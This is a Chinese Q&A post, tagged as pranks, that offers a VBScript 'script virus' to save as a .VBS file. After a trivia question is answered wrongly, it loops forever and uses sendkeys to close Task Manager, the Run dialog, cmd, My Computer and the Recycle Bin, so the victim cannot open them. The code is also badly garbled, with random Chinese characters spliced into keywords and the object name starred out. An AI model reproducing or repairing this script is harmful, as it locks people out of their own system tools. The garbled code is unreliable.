问题补充说明:如题
复制以弱车题做下内容,保存为.VBS文件
dimgb,jj
gb=0
set班路此语富剂结shell=createob海ject("***.shell")
DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统调氢从伟置粉任"&_
"叫什么名字?","你不小心运行了脚本病毒!!","回答错误后果自负")
IFDA="奥巴玛"THEN
MSGBOX"程序即将结束",,"回答获结赶子赵正确!"
***.qu每然曲比it
ENDIF
MSGBOX"作为惩罚,你将不能运行以下程序"&V异愿延城请失培村乙BCRLF&"我的"&_
"给批降京下由都块校电脑,我的文档",,"回答错误"
do
***.sleep100
jj=**实直往脚构*.appactivate("Windows任务管理器")
***.sleep50
ifjjthen***.sendkeys"%fx"
dn=***.appactivate("我的电脑")
***.sleep100
IFDNthen***.sendkeys"%{f4}"
wd=***.ap判触得尽抗记上苗pactivate概各("我的文档")
***.sl溶历用负但检史晚短专eep50
IFWDTH德批EN***.sen写价岩已执则或点守爱dkeys"%fC"
RX=***.appactivate("运行")
IFRXTHEN***.sendkeys"%{f4}"
hs=**假精急害拿鱼已题*.appactivate("回收站")
***.sleep50
IFHSTHEN***.sendkeys"%fc"
cmd=***.appactivate("c:\windows\system32\cmd.exe")
***.sleep50
IFcm放里dTHEN***.sendkeys"exit{enter}"
GB=***.appactivate("PE格式.txt-记事本")
***.sleep50
IFGBTHEN*志至消**.quit
loop
标签:电脑高手,cmd,整人